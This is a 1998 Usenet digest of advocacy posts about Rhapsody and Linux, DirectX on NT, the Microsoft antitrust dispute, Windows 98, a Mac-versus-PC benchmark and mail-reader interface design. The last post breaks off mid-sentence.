References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu> <6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net>
On 6 May 1998 09:02:46 GMT, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
>In <6iofql$ake@bgtnsc01.worldnet.att.net> Peter Koren claimed:
>> It is no fetish. Much of the software that I want to run has
>> been programmed for X. While I would much rather have it
>> available under OpenStep/Rhapsody, I have no choice in the
>> matter.
>
> Uhhh, why not just run an X under Rhapsody?
I have been burned too many times in the past by Apple's
stupid decisions. I loved NeXT Step, but I don't trust the
management enough to put all my eggs in the Apple basket. I
will always keep Linux, at least as insurance against Apple
going brain dead.
>
>> If Apple allows me to run a fully supported version of Linux
>> and Rhapsody together, my next computer will be a Mac. This
>> move would bring, IMHO, a swarm of new customers to Apple
>> from the Linux camp.
>
> I'm HOPING this is true, but I'd like your take on this - do people run
>Linux because it's free and "not MS", or because it's it's a good and
>compatible Unix?
Most Linux users I know have dual or multiple OS boot
systems. They pay for the other OSs. I love Linux because
it is an excellent Unix and improving at a spectacular rate.
It may gain the ease of use and OO API that Rhapsody has
quicker than you might guess. I read that some of the
GNOME/GTK guys know that Objective C is a better way to go
than C++. I expect that eventually they will get close to
quality of Rhapsody as a development environment in a few
years. Perhaps it will be with a Java API. This will, BTW,
help Apple IMHO.
>
>> It would light a fire in the GnuStep
>> community so that Apple would get the benefit of many more
>> talented people programming the OpenStep way.
>
> Again one can hope. I would like nothing better than a good GNUstep to
>sweep up the people that won't buy Rhapsody for whatever reason. That means
>maybe they too can buy my software :-)
>
I don't think that the Linux users will refuse to pay for
Rhapsody if it is sanely priced.
>> Apple has a chance to win big one this one. I hope that they
>> see it that way.
>
> _I_ think they do, but in the meantime all we can do is hope.
>
>Maury
>
regards,
Pete
From: sdenbes1@san.rr.com (Steven C. Den Beste)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 02:55:44 GMT
Organization: QUALCOMM, Incorporated; San Diego, CA, USA
Message-ID: <35522248.5418298@news.qualcomm.com>
References: <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Tue, 05 May 1998 10:28:48 -0700, Rolf Magnus
<ramagnus@zvw._REMOVE_THIS_de> snuck this past the censors:
>Pinochet wrote:
> >
> > X-No-Archive: Yes
> > darknerd@shell4.ba.best.com wrote in message ...
> > >This is not really an attack to the actual technical merit of any
>given
> > >operating system, but rather an attack on Micro$oft's business
>practices
> > >screws up customers.
> >
> > Then why poost it to so many NG's?
> >
> > >My argument is that Micro$oft is forcing users and developers to use
> > >DOS-booting Windows '95 instead of the more stable WindowsNT.
> >
> > Well, actually MS is trying to encourage the switch to NT, and
>DirectX6
> > will be on NT5 first, so I think you're a little behind the times.
>
>That makes it even worse. That means that by now, Microsoft is forcing
>us to use win95 since directx 5 will not come out for NT4.
DirectX 5 for NT can be downloaded from the following URL:
http://www.stefan98.com/download/nt4dx5.zip
I believe it's a beta, so read the docs before installing.
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 21:32:45 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir7p4$nt$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <joe.ragosta-0605981310040001@wil103.dol.net>
Joe Ragosta wrote in message ...
>In article <6iq0ur$kkh$1@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joe Ragosta wrote in message ...
>> >
>> >But have you ever wondered why only OEMs can get OSR 2.1 which supports
>> >FAT-32? Perhaps an "encouragement" to get you to ugrade your hardware?
>> >
>>
>> Perhaps. But I think it's more likely because the new hardware the OEMs
were
>> shipping had larger disks which required the features of FAT32. Also, the
>> OEMs are shipping a set of hardware the OEMs will have to test anyway.
>> Consumers have a much larger set of hardware that MS would have to test.
I
>> suspect that would have made a "Windows 95 SP1" too expensive for
Microsoft.
>
>Hmmm. I know quite a few people who bought bare 5 GB drives. That's not
>big enough to need FAT-32?
>
Joe,
I made the opposite statement: that the OEMs began shipping OSR2 because
they wanted to ship systems which would require that feature set. I didn't
mean that no one else would have benefitted from that feature set.
>As for consumers having a larger set of hardware, that's tough. MS
>released an OS for that hardware. If they're not interested in supporting
>their customers, they should come out and say it--not hide behind
>statements like your.
>
But Joe, they didn't release a retail version of OSR2 for that hardware. And
it takes _time_ to test hardware compatibility. Do you require they take
the same amount of time to ship software with few hardware dependancies (IE
4.0, which they posted on their web site) as they take to ship software with
a large number of hardware dependencies (USB drivers, FAT32, new disk
defragmenter)?
>BTW, there _was_ an SP1 for Win95. It would really be SP2.
>
Thanks. I didn't know that.
>>
>> >> If "DOJ and the State Extortionists General have their way" is true,
then
>> >
>> >Actually, it's the industry which is extorting from you. You want
FAT-32?
>> >You've got to buy new hardware--even though the current Win95 OEM
release
>> >supports it. There's really not that much other difference between Win98
>> >and Win95 OSR2.1.
>> >
>>
>> If true, that makes two extortionists, and that doesn't make it right.
>
>Nope. It's not. But since the DOJ aren't extorting anything from anyone,
>there's just one set of extortionists--MS and their mouthpieces.
>
My "one" extortionist was the state AGs. Yours was Microsoft. That makes
two.
>>
>> >>
>> >> Windows 98 will be tied up in the courts for a year or two, thus
>> >>
>> >> Companies other than Microsoft will be hurt
>> >>
>> >> Did I skip any steps?
>> >
>> >Yes. The Attorney Generals have reason to believe that MS broke the law.
>> >They are doing their jobs.
>> >
>>
>>
>> Why have I never before heard of:
>>
>> 1) States bringing anti-trust cases. Isn't that usually something the
>> Federal Government does?
>
>Nope. It's not as common perhaps, but it happens quite often.
>
>> 2) States ganging up to extort money.
>
>I don't see any states extorting money. They're trying to stop what they
>believe are illegal practices. That's quite different than extorting
>money.
>
In the case of the tobacco settlement, the states extorted money.
>>
>> I admit I'll be more pleased if the states do not pull a "Tobacco
>> Settlement" sort of thing, and instead go for a simple (hah!) anti-trust
>> case and bring it to court. That would suggest they think they're "just
>> doing their jobs". Instead, I remain convinced that, in the light of
their
>> experience with the Tobacco Settlement, they're going to go for the money
>> and simply _threaten_ Microsoft with a years-long court battle if they
don't
>> pay up. That's not "just doing their jobs", that's doing the job of
>> organized crime.
>
>But what are the states asking for? I don't see any evidence that they're
>asking for money. They want illegal practices to stop. That's quite
>different.
Since they haven't made their demands known, we don't know _what_ they want.
They might want illegal practices to stop. They might want money. Let's wait
and see which one of us is right. I hope it's you.
>BTW, your tobacco industry example negates your statement #2 above (that
>you've never heard of states ganging up to extort money).
>
I've said repeatedly (and apparently unclearly) that the tobacco settlement
was the first time I'd heard of states ganging up to extort money.
>> >> If we allow the states to arbitrarily harrass any company they want
to,
>> then
>> >> pretty soon they'll be harrassing you.
>> >
>> >Except that the states aren't "arbitrarily harrassing any company they
>>
>> >want to". They have reason to believe the law is being broken.
>>
>>
>> Then let them bring it to trial.
>
>Absolutely. That's what I want to see happen.
>
>>
>> But Joe, it doesn't take 13 states to bring a case to trial. Which state
>> will hold this trial, Joe? The answer is "none" because they have no
>> interest in a trial, only in the threat of a trial.
>
>Huh? Each state would be responsible for charging and trying Microsoft in
>their own state.
>
Joe, are you aware that this is NOT what happened in the tobacco case?
In the tobacco case, the states _threatened_ to charge the tobacco companies
individually, and in each state. In order to prevent that from happening,
the tobacco companies had to agree to pay big bucks. There were no trials in
the states participating in the settlement. That's what I'm concerned will
happen with the Microsoft case - no trial, just money changing hands.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 21:46:09 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir7p5$nt$4@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
VHA PC Development wrote in message
<01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>...
>John Saunders <jws@jws.ultranet.com> wrote in article
><6ioone$clv$5@ligarius.ultra.net>...
>> VHA PC Development wrote in message
>> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>...
>> >I know this is a respam, but the discussion seems to be wide-ranging.
>> >
>> >John Saunders <jws@jws.ultranet.com> wrote in article
>> ><6imcmk$oj1$3@ligarius.ultra.net>...
>> >> DC, would a company like CompUSA, which has spent x Million dollars
>> >getting
>> >> their advertising and promotions ready for the Win98 launch would be
>hurt
>> >if
>> >> that launch were delayed a year or two?
>> >
>> >Probably not.
>> >
>>
>>
>> I'm going to run right out and buy stock in CompUSA - a company which can
>> drop millions of dollars and not be hurt by it. Hey, people, I said
>"hurt",
>> not "devastated".
>>
>
>Most advertising is tax deductible. CUSA's drop of millions of dollars was
>a risky investment as investments usually go. They may be wounded for a
>quarter maybe though I'll give you that.
>
>Let me ask you some questions...
>
>What return could CompUSA get from spending MOD on ads and promos for
>another company's product? Upgrades?
I assume that MOD = "Millions Of Dollars"?
In that case the answer to your question is "CompUSA could expect an
increase in sales of Windows 98 over what they would have sold in the
absence of the advertising. They could also expect that people entering
their store to buy Windows 98 as a result of their advertisements might also
make other purchases. Possibly, they would enjoy their shopping experience
and come back later to buy even more.".
>I wouldn't doubt if CUSA was being urged to campaign for this new windows.
>They are a powerful force in the U.S. computer market. There is nothing
>wrong with such partnerships insofar as it doesn't attempt to stifle
>competition.
Why would Microsoft have to urge a computer store to make money?
>> >>
>> >> Would the vendors of USB peripherals be hurt if there is no mainstream
>> >> operating system that supports USB?
>> >
>> >There would be mainstream support for USB if more people would/could get
>> >their hands on the USB supplement included in Win95 OSR2. Which, by the
>> >way, is all Win98 is except for being hamstrung by tighter integration
>with
>> >IE.
>> >
>>
>> I know this. But that's in the ideal world. In the real world, the
>platform
>> in which this support is to ship is Windows 98.
>
>OSR2 is shipping with new computers yet current users are left out. I
>stipulate that Windows98 isn't a new version at all; it's the same thing as
>95 but with a few more bells and whistles. Albeit, you're being charged
>for what new users have been getting for free with OSR2 AND you're getting
>IE rammed down yer throat.
>
I believe Windows98 does include a few things not in OSR2, the new disk
defragmenter for instance.
And I don't believe you actually have to use IE if you don't want to. You
can use Netscape if you want. In fact, an OEM can even preload Netscape on
your new computer and add the Netscape icon to the desktop.
>>
>> How long do you think it would take DOJ to allow Microsoft to ship the
>USB
>> components of Win98 as an update? Three months? Six?
>
>Why would DOJ have a problem with the supplement? USB components are there
>to make OSR2 compatible not incompatible.
You have more faith in the justice system than I do. How long has it been
since the DOJ charge that MS broke the consent decree? Didn't that happen
end of January, 1998? And that one hasn't yet gone to trial, has it? I would
expect that an action to stop Windows 98 would be more extensive, and so
would take longer to get to the point where DOJ could permit MS to ship any
component of Windows 98 not yet in OSR2.
>>
>> >>
>> >> Would companies which have been testing their products against Windows
>98
>> >be
>> >> concerned if Windows 98 didn't ship?
>> >
>> >They shouldn't. Their programs should be able to run just fine on all
>> >flavors of Win95.
>> >
>>
>>
>> Yeah, ok. Is that why no one is testing their stuff on Windows 98?
>Whatever
>> testing they're doing will be wasted if they have to wait a year or two
>for
>> the software to ship.
>
>I should say not. Wasted is such a harsh word. Nothing is wasted if it
>will be used. I know one or two years is a long time in the industry but
>their programs will still work in the future. MS is good about that.
>
True. But in the meantime, they've spent today's money to get next year's
profits. Maybe. That kind of thing has to cause indigestion to the bean
counters...
>> You can't (legally) buy OSR2 for an existing machine. If you have an
>> existing machine and you want some of these features, then you need
>Windows
>> 98. I agree that if you buy a new machine you may have little use for
>> Windows 98.
>
>Need?
>
If you have an existing machine and you want some of these features, then in
order to satisfy the desire, you would need Windows 98. If it is not
important to satisfy that desire, then you do not need Windows 98.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 22:58:22 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir8uv$1ic$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <joe.ragosta-0605981319480001@wil103.dol.net> <6ir1j8$s1s$3@ligarius.ultra.net> <joe.ragosta-0605982149530001@elk107.dol.net>
Joe Ragosta wrote in message ...
>In article <6ir1j8$s1s$3@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <6ipuo9$606$3@strato.ultra.net>, "John Saunders"
>> ><jws@jws.ultranet.com> wrote:
>> >
>> >> And what happens when the laws are bad ones? Or have unpleasant
>> >> side-effects? Nothing, usually. We don't elect people to fix
unpleasant
>> >> side-effects, so the rarely get fixed.
>> >
>> >That's true--some times.
>> >
>>
>>
>> I know I'm getting to be the old cynic, but can you show me a case of a
bad
>> law getting fixed? I bet it was a law that a lot of people thought was
>> _really_ bad, not a law that simply caught some people falling between
the
>> cracks.
>
>Well, we could discuss Prohibition and the repeal thereof.
>
Like I said, "a law that a lot of people thought was _really_ bad".
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 23:06:16 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir8v0$1ic$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <slrn6l12bb.lgl.jedi@dementia.mishnet> <6ir1j6$s1s$2@ligarius.ultra.net> <slrn6l235l.mbk.jedi@dementia.mishnet>
jedi wrote in message ...
>On Wed, 6 May 1998 20:50:55 -0400, John Saunders <jws@jws.ultranet.com>
wrote:
>>jedi wrote in message ...
>>>On Wed, 6 May 1998 10:59:07 -0400, John Saunders <jws@jws.ultranet.com>
>>wrote:
>>>>Joe Ragosta wrote in message ...
>>>>>In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
>>>>><jws@jws.ultranet.com> wrote:
>>>>>> So when it comes to a situation where someone claims they've looked
at
>>>>all
>>>>>> the potential problems, but they're still going to do so and such a
>>thing
>>>>>> for "my own good", I'm more than just skeptical. I react like someone
>>who
>>>>>> knows they're being lied to. Which is often the case.
>>>>>
>>>>>But I don't see anyone claiming to do this for your own good. The claim
>>is
>>>>>that they're enforcing the laws. The consequences are not their
concern.
>>>>>Nor should they be.
>>>>>
>>>>
>>>>
>>>>Joe,
>>>>
>>>>In my state (Massachusetts), the Attourney General is elected. He
doesn't
>>>>get re-elected by proudly stating his record of enforcing obscure
>>anti-trust
>>>>laws no one has ever heard of ("what's a trust?"). He will be re-elected
>>by
>>>
>>> I don't know about you but, my shoddy 'inner city'
>>> public school education even managed to cover the
>>> this topic.
>>
>>jedi,
>>
>>Did your post get cut off? I'm not sure what you're getting at.
>
> Trust and Anti-trust laws are so 'obscure' that
> they even get covered by the curriculums of
> shitty large urban school districts.
>
> They're the elements of mediocre history and civics
> education. For some that may consitute obscurity,
> I disagree.
>
Ok. I get you now.
Thinking back, I guess the NYC Public Schools did try to teach me something
about monopolies, maybe back in 8th grade? So I take back my statement that
no one has ever heard of Anti-Trust laws, monopolies and the Sherman Act.
I will suggest that few people care about them or consider that Microsoft
has done anything wrong:
http://www.news.com/SpecialFeatures/0,5,21872,00.html?st.ne.fd.mdh.
John Saunders
jws@jws.ultranet.com
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Thu, 07 May 1998 19:00:43 -0700
Message-ID: <see-below-0705981900430001@209.24.240.13>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <3553A611.7079@sengles.dircon.co.uk>
In article <3553A611.7079@sengles.dircon.co.uk>, mike@sengles.dircon.co.uk
wrote:
> In the latest issue of PCPRO magazine there is an interesting test.
> You will remember that this is the British magazine that had an article
> by Jon Honeyball, praising Apple computers.
>
> They did a group test of 12( DELL GATEWAY etc) Pcs. The winning Pc
> costing UKP 1200( inc 15inch monitor) was a made by a clone maker KT.
>
> The magazine then did a comparison with a G3 233 desktop.
> The G3 was UKP1369(inc 17 inch Fst monitor) plus UKP55 for an extra 32
> ram to match the PC.The PC was a 333 LX Pentium 11.
>
> They ran Lightwave 5.5 and used a test render on both machines.
> Lightwave is cross platform.
> The G3 took 506 secs and the Pc took 306 secs.
Okay, so the PC appears to be 16% faster than the Mac relative to clock
speed in one test in one application program (which has been available on
PCs for years, and only about one year on the Mac).
> They also installed SoftWindows95 on the Apple.They ran their regular Pc
> benchmarks( WORD EXCEL PHOTOSHOP4 PAGEMAKER and ACCESS)on the machine
> and produced a score of .35. This they equated to a Pentium 100.
> "not state of the art, but usable" they write.
Sounds about right. Emulation is typically is about 1/8th as fast as
running natively on the same machine.
> They intend to do some more 'real world' comparisons.
Should be interesting.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 7 May 1998 21:59:30 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6itou2$hkv$1@crib.bevc.blacksburg.va.us>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102> <6iptqc$4f3$2@ironhorse.plsys.co.uk> <6itjb5$hq0$1@nntp3.interaccess.com>
In article <6itjb5$hq0$1@nntp3.interaccess.com>, "Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU> wrote:
> mmalcolm crawford wrote in message <6iptqc$4f3$2@ironhorse.plsys.co.uk>...
> >"For volume/up down, I can more or less instantaneously hit something like
> >PgUp/PgDown or Home/End or a couple of function keys. Much faster than I
> >can mouse down to a control strip, select a new volume or mute it, then move
> >back."
> The difference is, the control strip gives you direct visual feedback of the
> action you perform. After using it to set the volume, I know exactly how
> the volume is set. This is not as easily accomplished by function keys.
Not exactly the most compelling argument in favor of control-strip volume
control that I've ever seen.
Allow me to state the obvious: changing the volume gives you direct
_audio_ feedback, which is _superior_ to direct visual feedback. I don't
care whether the volume is set on "6" or "7" or "75%", I care whether it's
"too loud" or "too quiet"!
(This is assuming that something audio is being played at the time,
which is usually the case when you're adjusting the volume. But even
if not, you could always have a volume change be accompanied by a beep
or whatever as is usually the case with a graphical slider.)
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 98 13:18:34
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May6131834@slave.doubleu.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu>
<6indtv$c0h$5@ns3.vrx.net>
<rmcassid-0505981451530001@dante.eng.uci.edu>
<6ip8au$oum$10@ns3.vrx.net>
In-reply-to: maury@remove_this.istar.ca's message of 6 May 1998 08:51:42 GMT
In article <6ip8au$oum$10@ns3.vrx.net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <rmcassid-0505981451530001@dante.eng.uci.edu> Robert Cassidy claimed:
> I'd wouldn't mind messages being in a pane, like MailViewer.app
> or Communicator, except that such a configuration is very
> demanding of monitor space - which isn't very friendly for laptop
> users.
I hate it. You end up playing divider war.
It's divider war - or window war. Very few interfaces scale well both
downward _and_ upward. Generally, you have to pick a limit, and then
strive to make it scale well away from that limit. You can pick a
minimum size and make it scale well to larger sizes, or pick a maximum
size and make it scale well to smaller sizes.
It's hard to make a non-trivial interface which works well at _both_
640x480 and 1600x1200. And it's clear that the market demands
non-trivial interfaces for email and news (especially news).
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 98 09:53:47
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May6095347@slave.doubleu.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
<geordie-0505981708370001@130.130.117.53>
In-reply-to: geordie@chapman.com's message of Tue, 05 May 1998 17:08:37 -0500
In article <geordie-0505981708370001@130.130.117.53>,
geordie@chapman.com (Geordie Korper) writes:
In article <6in6mv$3of$4@ns3.vrx.net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
:You get messages in your news reader. You get messages in your
:mail reader. You don't get "mail" or "news", those are names you
:impose on them because that's how you get them. If you can point
:to any quantitative differences that apply widely and do not
:include the delivery method in the name, then we have an issue.
:To date the main concerns are focusing on having different clients
:for different delivery methods.
Mail News
little categorization highly categorized
rarely threaded mostly threaded
In both cases, this is a flaw of mailreaders, not a fundamental aspect
of mail. I'd _love_ it if my mailreader could thread my discussions
with people. Granted, mail has a lower percentage of threadable
messages, but I find it annoying that those that are in a long-running
thread tend to be chaoticly displayed in most mailreaders.
low volume high volume
Mail is only low volume relative to news. Regardless, the tools to
help sort high-volume news probably have some application to sort
high-volume email.
mostly signal mostly noise
high priority low priority
You've got me there :-),
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 6 May 98 22:47:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May6224750@slave.doubleu.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
<6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net>
<6ir6mg$6ej@bgtnsc03.worldnet.att.net>
In-reply-to: pkoren@worldnet.att.net's message of Thu, 07 May 1998 02:34:28 GMT
In article <6ir6mg$6ej@bgtnsc03.worldnet.att.net>,
pkoren@worldnet.att.net (Peter Koren) writes:
On 6 May 1998 09:02:46 GMT,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <6iofql$ake@bgtnsc01.worldnet.att.net> Peter Koren claimed:
>> It is no fetish. Much of the software that I want to run has
>> been programmed for X. While I would much rather have it
>> available under OpenStep/Rhapsody, I have no choice in the
>> matter.
>
> Uhhh, why not just run an X under Rhapsody?
I have been burned too many times in the past by Apple's stupid
decisions. I loved NeXT Step, but I don't trust the management
enough to put all my eggs in the Apple basket. I will always keep
Linux, at least as insurance against Apple going brain dead.
Running X under Rhapsody is something that you don't necessarily
require Apple's input to do. Third parties can write their own window
servers.
Running MkLinux and Rhapsody at the same time most _certainly_
requires Apple's input. In fact, they are the bottleneck, without
their work it just wouldn't happen. Every new OS release would be a
new chance to find bugs.
Dual-booting, of course, doesn't require much help from Apple,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 08:39:48 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3551D5C4.6254@zvw._REMOVE_THIS_de>
References: <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <Pine.LNX.3.91.980506161248.3560B-100000@mirkwood.dummy.home> <E0641.105$x16.1114603@news.sgi.net>
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Evan DiBiase wrote:
>
> >On a side note, will '98 be millenium-proof?
>
> Yes, I believe it is.
This will be the biggest invention that Microsoft made
since they invented win95.
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 09:25:26 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3551E076.74BD@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de> <3550A611.2949@zvw._REMOVE_THIS_de> <35507E57.7F0D@stud.uni-erlangen.de>
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Matthias Bethke wrote:
> > strategy
> > game where I played for 3 hours on one single level, it is a little
bit
> > annoying if the blue screen says : now go and try again...
>
> Hm...yep, got a point there. But I suppose the games-related code is
> very similar in NT so you wouldn't gain much there, would you? As
game
> APIs allow more or less direct acess ("DirectX") to the hardware,
even
> NoThanks can be crashed by games. Even rock-solid Linux systems can
be
> made very very brittle by running a single not-so-perfect SVGAlib
> (Linux' game coders' API) program.
What I am talking about are not bad written games, much more I think
about the OS itself that crashes.
>
> > > Sure. Gamers always need the fastest hardware on the market
anyway so
> > > you should be able to get the bucks for an "upgrade" from
sowhere.
> >
> > Now what does this have to do with the latest release of the OS?
Why
> > should it only be possible to play new games on the newest one?
>
> I can understand M$ doesn't want to take the effort of implementing
the
> latest Direct* on an obsolete OS version - it simply doesn't pay.
It's
> the game coders' decision to only support the latest version...
Now, M% actually does not implement all the features they could into
